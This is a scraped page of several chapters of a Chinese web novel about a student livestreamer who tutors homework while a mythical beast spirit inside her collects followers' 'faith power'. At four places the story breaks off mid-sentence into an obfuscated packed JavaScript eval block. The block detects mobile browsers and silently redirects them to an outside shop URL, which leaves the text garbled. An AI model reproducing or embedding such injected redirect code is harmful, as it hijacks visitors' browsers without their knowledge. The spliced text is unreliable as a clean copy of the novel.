系统提示:我最帅送出一辆自行车。 我最帅:“不就是礼物吗?谁没有似的。” 系统提示:巴拉巴拉送出一架飞机。 巴拉巴拉:“有飞机要什么自行车呀?姐姐康康我呀~” …… 安随目瞪口呆地看着不停刷礼物的众人,各个都争着想要被安随第一个辅导。 “那个。”安随吞了吞口水,“要不我弄个连麦?谁连到就给谁辅导。” “行。” “可以。” 评论区总算达成了一致。 安随点开连麦,第一个连上的是风过留痕。 安随直播并没有露脸,摄像头对着课本。视频点开,对面露出一张稚嫩的脸,但很快又翻转镜头对着书桌上的习题了。 风过留痕:“主播主播!我是第一个连上的!” 风过留痕应该是处于变声期,声音听着跟鸭子叫声一样,还特别洪亮。他的声音听着有些激动,显然对自己第一个连上麦特别高兴。 安随笑了笑:“你好呀,风过留痕。需要辅导语文吗?” 风过留痕:“对对对,我语文不行,每次都及不了格,阅读理解也经常理解偏,有什么好的建议啊?” 安随:“多看多写多听,错题多做几遍,文章多读几遍,自然就容易理解了。” 风过留痕:“真的吗?” 他有些不信,毕竟他平常也经常做错题,但是下次还错,他也很苦恼。 安随:“对。” 毕竟她就是这么学的。 可惜,她似乎并不知道,这世上有一种人,那就是怎么也学不会,怎么也理解不了的学渣。 风过留痕似懂非懂,但还是选择相信,毕竟这个直播间怎么看怎么顺眼,说不定主播真有两把刷子呢。 正好在直播间,风过留痕便将要讲的题给安随看,安随看了会儿便有了思路,跟他讲了解题思路,风过留痕恍然大悟地“哦”了一声,最后千恩万谢地下了麦。 好像有点道理耶,他怎么就想不到呢? 第二个连麦的是巴拉巴拉,是个声音可爱的小女孩。 “姐姐你好呀,可以教我怎么学物理吗?我的物理超级差,每次老师讲的听都听不懂~” 安随也被她的声音感染:“好呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699301|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是哪里不懂啊?” 巴拉巴拉:“我感觉我所有的都听不懂,但是又必须学,如果物理能换成历史,考两科历史就好啦~” 安随被她逗笑了,这小女孩真的好可爱,她要是有个那么可爱的妹妹,感觉每天的生活都充满了希望。 安随:“那你现在需要我讲哪道题吗?我和你说一下思路,你可以举一反三。” 巴拉巴拉连忙翻到那一页,是一道初中物理题,关于光的折射。 巴拉巴拉:“海市蜃楼为什么是折射啊?比如天上有一栋楼,为什么是光的折射形成,而不是因为天上本来就有一栋楼,只是不小心被人看到了呢?楼怎么会折射到天上呢?地面上又没有楼。” 安随:“这就是物理的奥秘,如果天上真的有楼,这就不是物理,而是神话了。” 白泽插嘴:“天上真的有楼,本君去过,只不过不是你们这种高楼大厦,像你们古代的那种楼宇。” “闭嘴,我在讲物理,不是听你说神话。” 白泽:“本君在陈述事实,天上真的有楼,还有很多神仙,只不过不是尔等凡人能看到的,神仙都高傲的很。” “包括你吗?所以高傲的神,你为什么还呆在我身体里,不回你的天上?” 白泽:“……” 白泽发现,这人类牙尖嘴利得很,他就从她那讨不了好。 白泽想早日恢复真身的决心更加强烈了。 直播间怎么才一千人?多来点人啊,让信仰之力来得更猛烈些吧! 安随又跟巴拉巴拉讲了会儿题,巴拉巴拉心满意足地下麦了。 接下来一直到晚上十点,安随的麦就没断过。礼物特效刷个不停,她的嘴唇也讲干了。中途就去上了个厕所倒了杯水,其他时间几乎没离开过。 十一点时候,安随抬眼看了下时间,又看了还没回宿舍的室友,有些担心,便和粉丝说了下线,准备给蒋栗打电话。 蒋栗坐在宿舍楼下的长凳上听安随直播,接到安随的电话时,她刚拍死一个苍蚊子,吸满了她的血。解决完蚊子,才用柔媚的声音说道:“亲爱的,怎么啦?” 安随被她的声音惊了一下,过了会儿才道:“你还不回来?” 蒋栗:“这就回来,怎么,想我了呀?” 安随:“嗯。” 这下换蒋栗不知道怎么接话了。有的时候,来自直女的表白,还让人有些招架不住呢。 蒋栗进了宿舍楼,走到宿舍门口的时候才道:“开门吧。” 安随打开门,看到蒋栗倚在门口,并迎接对方一个飞吻。 蒋栗跟没骨头似地扑到安随怀里,柔软的胸脯蹭得安随下意识地退后一步。 安随:“站好了,别摔了。” 蒋栗惯性往前倾,眼见着要摔倒,眼疾手快地扶住旁边的床栏。 "你真是,一点都不懂得怜香惜玉。" 白泽:“喂,你以后不要让其他人碰你,本君不喜欢别人的触碰。” 安随没理他,而是给宋知冉打电话。 只是,电话响了接通了,一直响到提示无人接听都没有人接。 安随皱眉,问蒋栗:“你知道宋知冉去哪里了吗?” 蒋栗愣了愣,随后摇了摇头,她们今天晚上没一块出门,宋知冉也没告诉她的行踪。 十二点,宋知冉电话变成了无法接通。 安随心中涌起了一股不详的预感。 5. 第 5 章 “白泽,你能预测到宋知冉出了什么事吗?” 白泽难得地也变得严肃起来,只是他第一次预测几乎已经消耗掉他所有的灵力,这两天直播刚恢复了一点,他还来得及存就又要消耗掉了。 白泽:“本君的灵力极其珍贵,用一点少一点,你想好拿什么东西交换了吗?” 交换?她还有什么东西能值得拿出来交换? “你想要什么?”安随反问他。 白泽兴奋地连语速都快了许多:“你只要答应以后本君想吃东西的时候不能阻拦,本君就帮你找人。” 就这吗? 安随觉得有些好笑。 果然还是个吃货啊。 “好,我答应你。” 白泽这才心满意足了。 由于本人没在面前,白泽需要借助她常用的物品才能感受她的气息。 安随环顾了下四周,最后目光锁定在宋知冉常用的那只中性笔上。 将笔握在手里,白泽难得认真地说:“闭上眼。” 安随听话地闭眼,随后脑海里便开始闪现一幕幕画面。 身着白色连衣裙的女孩从酒吧出来,却被几个醉汉拦住去路,正要抬脚踹人时,旁边出现一个人将那几个人都打跑了。 那人戴着帽子,黑夜里看不清面容,只让人觉得速度很快,身手很好,女孩看得心花怒放,然后问他要联系方式,可惜对方一句话都没留,转过身就走,女孩快步去追他,谁知他越走越快,竟然就这么消失在黑夜里。 而一起消失的,还有女孩的踪影。 “她的气息从这里开始便消失了。本君感应不到她的存在。”白泽道。 “什么意思?”安随心里咯噔一声。 白泽:“她现在应该不在人间了。” “咚——” 安随一下子瘫软在地,心里还是难以置信,宋知冉真的出事了吗? 白泽:“喂,你别着急啊,本君又没说她死了,只是暂时不在这个空间了而已,本君看到了她的未来,她活得好好的,一会儿就回来了。” 安随几乎咬牙切齿地开口:“你能不能一次性把话说完?唬人很好玩吗?” 白泽一本正经道:“本君只是在让你体验预测未来的过程,是不是很奇妙?” 安随:“我谢谢你啊。” 白泽:“不客气,助人为乐是人类的优良传统美德,本君正在向人类学习。” 安随深吸了好几口气才忍住了把他从身体里拽出来痛扁一顿的冲动。 不气不气,气大少一亿。为了一个亿,她忍了! 一旁的蒋栗见安随在短时间内脸上闪过着急、悲伤、气愤、忍耐几种情绪,有点摸不着头脑。 安安这是怎么了?她还是头一次看到她脸上有那么多种情绪呢。 知道宋知冉没事,安随才放下心来,让蒋栗先去洗漱,她则在寝室里等宋知冉回来。 十二点半的时候,寝室门的锁响了。 安随强睁开眼,目光紧盯着寝室门。 直到门外出现了宋知冉的身影,安随悬着的心才算真正落下。 安随:“你去哪了?怎么那么晚才回来?电话也打不通。” “打不通吗?”宋知冉有些心虚,见安随一直等着她,心里顿时有些愧疚,还有些感动。 宋知冉:“对不起啊安安,我就是玩嗨了忘了时间,你给我打电话的时候应该是那段路没信号,所以打不通。” 安随没再追问下去。 既然宋知冉不说,她也不会打破沙锅问到底,只要人平安回来就好。 不一会儿,洗完澡出来的蒋栗见宋知冉平安回来,激动地扑过去抱住她。 “姐妹儿你可总算回来了!我跟安安都快担心死了!” “头发湿的,赶紧去吹干!”宋知冉连连把她往外推,心里却十分感动。 她的两个室友都那么在意她呢。 想到今晚碰到的那个神秘人,宋知冉心里升起一股异样的感觉。 今晚发生的一切,就像一场梦,突然出现又突然消失的神秘人,让她一瞬间觉得自己出现了幻觉,可是她无意中捡到的一块刻着奇怪花纹的牌子又在提醒她,那个人真的出现过。 宋知冉摩挲着那块牌子,小心翼翼地将它放好。 直播第三天。 下午的时候没有课,安随上了速音发现自己的粉丝涨到了2000,但离1万还有一段距离,于是吃完午饭后,她便开始直播了,虽然她对白泽说的粉丝上万抱有期望,但并不代表她就呆在原地等待粉丝自己涨起来。 如果因为知道自己会达到那个目标而不努力,那得来的一切也是虚的。 白泽见她早早上线也偷偷舒了口气,他还真怕她就这么躺平等粉丝自己涨起来呢,到时候为了达到这个目的,他就不得不使些小手段了,比如买粉什么的。反正说的粉丝上万,也没说是真粉还是僵尸粉。 安随照例开启直播。由于她每天直播时间不固定,她才刚刚有几个粉丝,也没人天天在那等着她开启直播。因此她上播的时候,直播间空荡荡的,没有几个粉丝进来。 但因为是饭点,刷速音的网友也多,慢慢地便陆续有人进来,有老粉,也有被她直播间名字吸引进来的。 吸引进来的大多是学渣,想看看谁这么狂居然夸下海口,顺便也抱有期望,万一这人真有几把刷子呢?说不定自己就能从学渣变成学神,再也不用听家人的唠叨了。 “主播好啊,你真能带我上985吗?有什么诀窍啊?” “主播是哪个名校的学生啊?能透露一下吗?” “华国就那三十多所985大学,看她IP在C省,就那两家而已。” “那两所学校的师资条件都还不错,看来主播确实有两把刷子。” “那可以放心入坑了,主播准备怎么带我们学啊?需要教学费吗?” 安随看着刷个不停的留言,已经渐渐习惯了,淡然道:“连麦讲题,不需要讲题的就别抢麦序啦。” 随即便有人上了麦,听声音是个小朋友,讲的题是小学题,但安随还是耐着性子给她讲了题,小朋友高高兴兴地下了麦。 一连上麦的几个人,讲的都是些比较简单的题,甚至是课本上就有的例题,但因为自己理解能力差了,老师讲了没听懂,又让安随给他们讲了一遍。神奇的是,安随讲的一遍就听懂了,这让他们不得不佩服安随讲课确实容易让人理解。 安随连着讲了几个简单的题,因着是中午,竟然有些犯困了。白泽在旁边提醒她:“粉丝2500了。” 安随随即就清醒了。 还得努力啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699302|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又过了会儿,白泽提议道:“不如我们换个玩法,这样信仰之力涨得太慢了。” “换成什么?”安随问。 “不如就叫:白泽在线陪学,进直播间的人考试每科增加10分以上。” “能行吗?”安随有点怀疑。 万一不行,岂不是砸了自己的招牌?虽然她这招牌才立起来没两天,但她也不想因为这种虚无缥缈的事给别人希望。 白泽兴致勃勃地开口:“相信我。” 安随就这样答应了。 没办法,有的时候白泽说的话确实让人难以招架。 毕竟,为了一个亿,她只能选择相信他。 安随很快换好了名字。 很快就有人注意到了这一点,见她取的名字那么不靠谱,甚至有点中二,不由质疑:“主播你飘了啊,虽然你讲的题确实有点意思,但也没到达这个地步吧,说大话就不怕闪了舌头啊?” “听声音是个妹子,还是985的大学生,这么不靠谱吗?开始走神棍路线了啊?” “还叫什么白泽,查查这两个学校有这个学生吗?” “笨呐,这种肯定都是取的网名,谁还用真名直播啊?但是能取出这种网名的人现实里多半是个丑八怪,不然怎么不敢露脸?” 嘿,还开始人身攻击了。 “喂,你们不相信的人可以出去啊,又没谁非让你们呆在这里。” “还不能说了吗?我们还不是为了主播好啊,好不容易找到个有两把刷子的学习主播,结果这才几天,就飘得没边了。” “我就想问问当初在微博和某书推荐这个学习主播的人,现在打脸了没?这才两天就翻车了。” “不看的就滚,别在直播间吠,搞得乌烟瘴气的。” “主播那么快就有腿毛了?不会是请的水军吧?严重怀疑之前入侵微博和某书的人都是她请来的演员。” “主播这两天的打赏够付买水的钱吗?要不要我再赞助点?” 系统提示:狗头军师送出一坨狗屎。 安随看着狗头军师送的价值1速币的狗屎,都快被气笑了。这礼物,还不如不送,纯纯膈应人。 甚至后面的人也有样学样地送狗屎给安随,几十个几百个地送。安随看着满屏的狗屎特效,感觉自己脸都脏了。 “这就是你的办法?吸引人进来骂我然后涨粉?”安随看着蹭蹭上涨的在线人数,气得恨不得把白泽拖出来揍一顿。 白泽不在意地说道:“别急,这才哪到哪?这些人嘴上骂得欢,也没见谁离开直播间,甚至人数还升了起来。” “可能他们都是进来看我笑话的吧。”安随已经无力吐槽了。 她真是中了邪,居然信白泽的鬼话。 白泽:“嘿嘿,黑红也是红嘛,反正他们骂的是本君,又不是你,你气什么?” 白泽看着蹭蹭上涨的信仰之力,已经兴奋地搓手手了,安随怎么也压不住。 “喂,你能不能矜持点?” 白泽:“本君开心,让暴风雨来得更猛烈些吧!” 安随不想搭理他了。 不过听他这么一说很快就释然了,反正直播间挂的是白泽的名字,骂也是骂他。 那就随便骂吧,正好让这个涉世未深的神君感受一下这届网友的战斗力。 6. 第 6 章 于是,白泽接受了一场来自网友精心准备的言语洗礼。 “慕名进来,听说来这个直播间高考每科能涨10分?” “格局小了,至少100分。” “200分吧。” “那我岂不是考得比总分还多?我家祖坟里埋着的祖宗都能笑活了。” “10001分,这个分数够考宇宙系了。” “谢谢主播啊,我正愁吃饭没乐子看呢,这不就有了。” “不建议吃饭的时候看,不然怕你把饭喷出来啊。” “主播怎么不敢露脸啊,是没脸能露吗?” “直播间评论比主播好看系列。” “我决定今天就待在这里不走了,我想看有多少跟我一样是进来看热闹的。” 网友们骂得不亦乐乎,甚至已经从最开始的愤懑变成了找乐子,评论风向也越来越歪了。 而直播间排名也被顶到了前面,于是很多不明真相的网友进来,见到评论全是骂主播的,不由懵了。 “弱弱问一句,这是学习直播间吗?怎么全是骂人的?” “是学习直播间啊,我们在讨论学习成果呢。” “学的,什么呀?” 萌新进来看了半天也没看明白学的什么,反而被评论带歪了,加入了战局。 于是,安随眼睁睁地看着自己的粉丝一路上涨,突破五千,六千……直至,突破一万大关。 白泽:“搞定,本君说得没错吧,三天粉丝上万,轻轻松松。” 安随心里五味杂陈,这都什么事呀…… “他们骂你你心里就没点波动吗?” 白泽:“有波动啊,本君看着那越来越多的信仰之力,心里能没波动吗?” 算了,种族隔离,交流起来困难。 眼见粉丝上万,安随这才开麦,和直播间的网友说道:“今天的直播到此结束,我们明天再见。” 说完,也不看网友的反应,眼疾手快的关掉了直播间。 而网友们,还没反应过来,便猝不及防地结束了这场网络狂欢。 总觉得,如芒在背,如鲠在喉,若坐针毡。 怎么就突然结束了?他们还没骂够呢。 再一看主播的粉丝数,短短一个小时的,粉丝竟然涨到了1万,顿时恍然大悟,随后捶胸顿足。 靠,上了鬼子的当了! 原来,他们才是主播play的一环! 安随下了直播间以后,长舒了口气,总算不用看他们骂人了。 虽然她安慰自己他们骂的是主播白泽,但是有时候仍然会被带着骂大学生怎样怎样,她没办法完全割离。 白泽看出了她的心事,便安慰她道:“你要想开点,不疯魔不成活,想要达到目的,就不得不使些小手段。” “神也一样吗?” 白泽怔了一下:“什么?” 安随问:“所以,神也和凡人一样,为了达到目的,也会使些手段吗?” 白泽:“……是,神也一样。” 安随没说话了。 下播以后,安随便准备睡个午觉。 下午宿舍里只有安随一个人,屋子里安安静静的,外面阳光明媚,阳光透过窗台爬进来,落在地面上,点缀出点点光芒。 白泽一下午难得没有吵着要玩手机,让安随清静了不少,直到夕阳西下,晚霞漫天,外面变得人声鼎沸,原来是到了饭点,学生们陆陆续续都从宿舍赶往食堂了。 安随被饿醒了。 肚子里咕咕叫唤,她睁眼看着已经渐暗的天色,看了眼时间,才发现自己竟然睡了三个小时。 她已经很久没有睡那么久的午觉了,特别是白泽出现以后,总要吵着玩手机,导致她经常睡眠不足。 这一觉也算是把她的元气都补了回来。 安随伸了个懒腰,随后下了床。 宿舍另外两人还没回来,安随也没问她们。 她已经习惯了一下课就见不到她们的身影。 安随去了食堂吃饭,按照往常她只打食堂最便宜的5元套餐,两个素菜,偶尔加个荤菜。今天粉丝涨到1万,也算是个值得庆祝的日子,特别是白泽功不可没。想到他平常总是一副对什么美食都充满渴望的样子,便难得大方地问道:“你今天想吃什么?随便点,我请客。” 想了想,安随又补充道:“价格别超过20啊。” 加15块已是她的极限。 直播间的打赏还不能提现,她只能从自己的生活费里预支。 只是,说了一会儿,都没听到白泽的回应。 安随觉得奇怪。 好像,从直播结束,他就很少说话了。 按理说,粉丝过万是件值得高兴的事,他的信仰之力也涨了很多,按照他的性子,这个时候应该已经手舞足蹈了。 是因为之前她问的那句吗? 安随敏锐地察觉到了问题根源。 所以,白泽以前是见到过神的不择手段,还是,亲身经历过? 安随甩了甩头,不让自己想下去。 再想下去,感觉自己就会想出一台勾心斗角的剧了,特别还是涉及到神仙的,总觉得自己会小命不保。 安随没再管他,而是自己打了一份价值20的菜。 他不吃,就算是犒劳自己吧,也辛苦了那么久。 还别说,多15块钱的菜,确实不一样。 她可以点个鸡腿,还能额外点两个肉一个素,够她解好久的馋了。 A大的食堂菜品都还不错,特别是鸡腿十分入味,口齿留香,汁液顺着嘴角留下来,吸溜一下又被安随吸了回去。 安随赶紧拿张纸巾装作擦嘴,以掩饰自己的尴尬。实际上心里在骂白泽:“你能不能有点出息,不就是个鸡腿吗?搞得八百年没吃过一样。” 白泽哀怨地开口:“你居然背着本君吃好吃的,吃鸡腿为什么不叫本君?为什么不叫我?为什么不叫?” “我刚才问你了啊,是你自己不理我。” 白泽:“我没听见!哼!我不管,你就是背着我吃独食!” “怎么不自称本君了?不是神君吗?” 白泽:“在美食面前,神君算个屁!” “能不能别那么粗鲁?你好歹是个神!” 白泽:“啧,这就粗鲁了?那我要是说屎尿屁岂不是更粗鲁?” “白泽!我在吃饭呢!” 安随气得牙痒痒,这白泽,就是故意的! 白泽:“谁让你背着我吃好吃的?为什么不叫我?我没答应就是没听见,你就不能自己加餐!” “好好好,我错了。”安随服了这家伙,再这么纠缠下去,他能在她耳边一直念屎尿屁,想到那个画面,她就一阵恶寒。 小女子不跟神斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699303|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,斗不过啊斗不过。 最后,安随不得不在白泽的威胁下又点了个鸡腿。 今天晚上的餐标已经达到了恐怖的25元,安随一想到这个数字,就觉得天都快塌了。 神啊,救救她吧,赶紧把这祖宗送走吧! 不不不,不能送走,她的一亿还没拿到呢。 安随很快又从混沌中清醒过来。 不仅不能送走,她还得好吃好喝地供着呢。 安随随即换了副面孔,笑眯眯道:“神君啊,现在粉丝上万了,接下来应该设定个什么目标啊?” 白泽将鸡腿塞进嘴里用力撕扯着,边吞边含糊不清道:“你想定什么?” 安随想了想,感觉这么涨下去,一年内赚到一亿有点难啊,于是决定想个大的。 “一个月内,粉丝百万,如何?” “呃呃呃——”白泽刚吞了口鸡肉,听到她的话,顿时卡在喉咙里,连忙舀了碗免费蔬菜汤灌下去才缓了过来。 白泽:“你真敢想啊,三天一万,一个月十万才对,你怎么还加了个0?” 安随:“那些一夜涨几百万粉的人都有,一个月百万又不是不可能。” 白泽想了想觉得她说得有道理,甚至还思考起了一夜百万的可行性:“如果要一夜百万的话,得好好筹划一下,毕竟这种几率还是小。” 安随见他真的开始思考怎么一夜百万粉,甚至已经脑补出使用特殊手段的画面,连忙制止:“打住,我只要一个月百万粉就够了,别的不奢求。” 白泽:“啧,一点冒险精神都没有。” 安随:“也不知道谁刚才说我真敢想。” 白泽:“说你敢想是在夸你呢,意思是还可以更敢一点。” 安随:“……” 两人扯了一会儿,安随突然问:“你刚才怎么了?” 还是有点好奇白泽以前的事情,如果能从他嘴里撬出点仙家秘闻就更好了。 白泽伸了个懒腰:“升了个级而已,小场面,淡定,以后这种事还多着呢。” “你升级了?那现在有什么不一样?”安随问。 “看不出来,没什么不一样。” 实际上,白泽感觉自己的灵魂被修补了一点点。但这种感觉玄而又玄,说不清楚,只是感觉罢了。 “哦。”安随有些失望。 还以为能现形呢,正好让她看看这个欠揍的家伙长什么样。 直播第四天。 星期四课几乎是满的,到了晚上才空闲了点。 一整天课上下来,安随感觉自己灵魂都快出窍了,没办法,太专注了,耗费的精气神就多了点。 但她又不得不强打精神,毕竟晚上还要直播。 蒋栗见她精疲力尽却又还要直播,有些心疼,便提议道:“安安,我们好久没一起逛街了,不如晚上一起逛逛吧。” “你不和你男朋友一起吗?” “分了,男朋友哪有女朋友重要啊?” 安随看了会儿时间,马上八点了,再不直播今天就直播不成了:“改天吧,我晚上还有事。” “一天不直播也没事,最近你都累坏了,好好休息一天吧。”蒋栗扯着安随的胳膊就往外走,却发现安随站在原地没动,回过头才看到安随正满脸疑惑地看着她,“你怎么知道我在直播?” 蒋栗连忙捂住嘴,恨不得给自己两巴掌。 7. 第 7 章 蒋栗干笑了两声:“有次我回来无意中听到了你在直播,就没打扰你。” “什么时候?”安随有些诧异。自从她与白泽签订灵魂契约以后,她的五感都被放大,百米范围内的声都能听到。但因为在宿舍楼,人员太多了,她便照着白泽的指示调高自己能听到的音量标准,这样的话她只能听到比较突兀的声音,而正常的音量在她这里便消音了。 所以,她竟然对蒋栗听到她直播的这个事情一无所知,如果她没有调高标准的话,她们早回来她是能发现的。 蒋栗说话声音越来越小:“就前几天,其实,我还看你的直播。” 安随看着她一副做错事的样子,突然笑了:“你是怕我生气吗?” 蒋栗抬眼看她:“你不生气吗?毕竟你并没有告诉我们你在直播,我们却在偷偷关注你,会不会觉得隐私被人窥探了啊?” “怎么会?”安随反问她,“我很高兴,如果我没猜错的话,你就是举个栗子吧?” “你怎么知道?”蒋栗都惊了,她还什么也没说呢,安安就猜到了,也太敏锐了吧! 安随得到肯定的答复,便什么也明白了。 怪不得突然有人找她辅导作业了,原来是她的室友啊。 “那冉冉知道我直播的事吗?” 蒋栗小鸡啄米般地点了下头,随后倒豆子般把自己知道的事情都倒了出来:“冉冉她也知道,而且是她最先发现的,也是她告诉我你在直播的事。对了,她的网名叫小太阳。” 安随很快想起来,小太阳就是第二个找她辅导作业的网友,还给她打赏得挺多。 一瞬间,一种难以言说的情绪涌上心头,连鼻头也变得有些酸意。 她的室友啊,竟然那么可爱,她以前竟然没有发现,错过了多少培养感情的机会。 安随觉得,这个陌生而又繁华的城市,也变得没那么陌生了。 “谢谢你们。” “谢什么呀?说这些就太见外了。你只要好好直播就行,我每天给你加油。” 安随应了一声:“嗯,我会的。” 得到肯定答复后,蒋栗心满意足地出去了,将空间留给了安随。 屋子里又剩安随一个人。 “阿嚏——” 突兀的喷嚏声骤然响起。安随揉了揉鼻头,问白泽:“你又怎么了?” 白泽打了个哈欠:“我正睡得香,突然觉得鼻子有些泛酸,便忍不住打了个喷嚏,你这是怎么了?哭了?” “才,没,有。”安随一字一句道。 “这有什么?哭笑都是正常的情绪,想哭就哭,想笑就笑,多潇洒自在,别什么都憋在心里,会憋坏的。”白泽煞有其事道。 “都说了没有。”安随不想在这个话题上争论下去。 白泽却不依不饶:“我跟你讲,以前有个妖,遇到事情不知道释放自己的情绪,什么都憋在心里,后来他就自爆了。所以你有什么都要释放出来,不然我怕你步他后尘。“ “妖还会自爆呢,和人类自杀一个意思吗?”安随有些好奇了,这还是她头一次听白泽讲到妖界的其他妖。只是她更好奇的是,白泽到底是神还是妖啊?如果是妖,为什么又让她叫他神君?如果是神,又为什么生活在妖界? “每只妖体内都有妖核,自爆就是体内的妖核爆了,一身的修为也就废了,成了一只再也不能修炼的动物,和人类的自杀还是有点区别的。”白泽解释道。 “那它成了普通动物,在妖界怎么生存下去啊?那里都是有修为的妖吧?”安随被他说得更加好奇了。 “是啊。”白泽叹了声气,“后来,它就成了其他妖的盘中餐。” 安随突然不知道该说点什么了。 原来,妖界比人界更加奉行弱肉强食的食物链规则。 想到白泽到如今也没有显现过身形,而他也一直强调需要信仰之力,所以,他也是食物链底层的一员吗? 如果真的是这样,真实的妖界又是怎样一副地狱的模样,连上古十大神兽之一的白泽也沦落到这副模样? 安随不敢想下去。 总觉得自己好像触碰到了一些禁忌。 但念头只一起,白泽便感受到了。 如果白泽能现形,他现在已经气得跳了起来。 白泽:“女人,请停止你的想象!本君可是站在食物链最顶端的神兽,怎么可能是最底层!!!” “哦哦哦。“安随连连应声,但是仍不忘戳他肺管子,”那食物链最顶端的神兽,你怎么不会现形啊?也让我这个小小凡人见识一下神兽的真颜啊?” “你就是故意气我!”白泽“哼”了一声,随后不说话了。 安随见他真生气了,也不再逗他,而是坦言道,“其实,我只是想知道你为什么会来人界,又为什么和我签订灵魂契约,又为什么需要信仰之力,既然我们上了一条船,我觉得有些事情还是说清楚比较好点。” 不然,她总觉得自己被人牵着鼻子走,对前方的路看不太清。 灵魂契约,真的没有一点副作用吗?这是她一直担心的事情,从最开始的喜悦过后,她思考得比之前更多,看问题也更全面了,她不得不为自己的未来考虑。这个灵魂契约未来能不能解,她的体内不会永远住着一个白泽吧?如果,她是说如果,以后她谈恋爱了怎么办?不会还和白泽一起讨论未来男朋友的尺寸吧? “你你你!你真是要气死我了!满脑子想的都是些什么啊?”白泽气得恨不得立马和她解绑。他这是造了什么孽,怎么和这么个满脑子黄色废料的人绑定在一起? “这有什么?”安随不以为意,“这是正常的生理需求而已,我以后肯定得享受谈恋爱的感觉,不会孤独终老的。你也可以找个母兽谈恋爱啊,咱们谁也不耽误谁。” “你你你……”白泽不知道怎么接话了,甚至感觉自己脸都烧了起来。 安随摸了摸自己的脸颊,热乎乎的,屋子里空调确实开得高了点。她将温度调低了点,风速调低,总算没那么热了。 安随突然想起来,两人说了半天,白泽还是没有给她透露自己的情况。 “所以,你不多说点什么吗?关于你来到人界的目的。” 屋子里一下子陷入了寂静之中。 良久,在安随觉得她不会听到答案时,白泽开口了。 “我其实已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699304|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,住在你身体里的只是我很小的一块灵魂碎片。” 安随:“……” 安随觉得自己好像听到了什么天方夜谭。为什么每个字她都能看懂,连起来却有点不明白了? “我是被妖王杀死的,但是我在百年前预测到我命中有此一劫,割下自己的一片灵魂碎片藏了起来,待我死后,我的意识便会到这块碎片里,然后,等待重生的机会。我还预测到了我重生的机会在人界,所以早早将这块碎片放在了人界的一本古籍里,然后,我便遇见了你,听到了你的愿望,我知道,我重生的机会来了。” “安随,你就是我的机会。” 这是安随第一次听到白泽用这么认真的语气和她说话,一时竟有些不习惯,而白泽说的这番话也让她突然不知道该同情他还是同情自己。 总感觉自己肩上的担子更重了怎么办? 开玩笑,她肩上担的可是一个神转世重生的机会,能不重吗? 白泽看出来她的担心,连忙安慰道:“你不用担心,和之前一样就好,剩下的交给我。” “不一样,我之前是不知道,所以能坦然面对,但是现在知道了,怎么可能还像之前那样?”而且两人已经绑定了灵魂契约,就是一条绳上的蚂蚱。她有点担心,万一他重生不成功,那她是不是也跟着没了?细思极恐好吗? 所以,她不得不想想,未来该怎么让直播更加吸引人,让白泽多加信仰之力了。 “对了,妖王为什么要杀你啊?”安随有些好奇。 白泽摇头:“我也不知,我的记忆不全,只知道一些事情,如果我的灵魂恢复完整,记忆也会跟着恢复。” “好,那我要努力直播了!”安随给自己加油打气。 为了一个亿,也为了保命。 安随很快上了直播,一看粉丝数,竟然涨到了2万。 这届网友可真能骂,这才一天,就又有一万人来骂她了。 但是心理再强大也架不住那么多人骂她啊。 安随问:“有没有什么能屏蔽别人的骂的办法?” “不看就行了。” 安随:“……” 算了,不管了,要骂就骂吧,只要不连名带姓,她就能当成不是骂她。 “主播上线了。” “主播我今天不骂你了,因为爷作业全部做完了,爷今天高兴。” 系统提示:杜家小爷送出一艘宇宙飞船。 “我也做完了!还别说,主播真的有点玄学在身上,看了她的直播后,我的作业竟然全部都能做完,以前可是有一半的题不会做的。” “原来你们也是吗?我以为就我这样呢。” “看来是我们错怪主播了?对不起主播,我昨天不该那样骂你。” 系统提示:硕鼠硕鼠送出一架飞机。 “对不起。” …… 系统提示:…… 满屏的对不起和礼物特效让安随小小震惊了一下。 这才一天,风向就180度大逆转,这玄学也太快了吧! 不得不说,白泽确实有两把刷子,她已经能遇见到自己一年以后拥有一亿的场景了。 8. 第 8 章 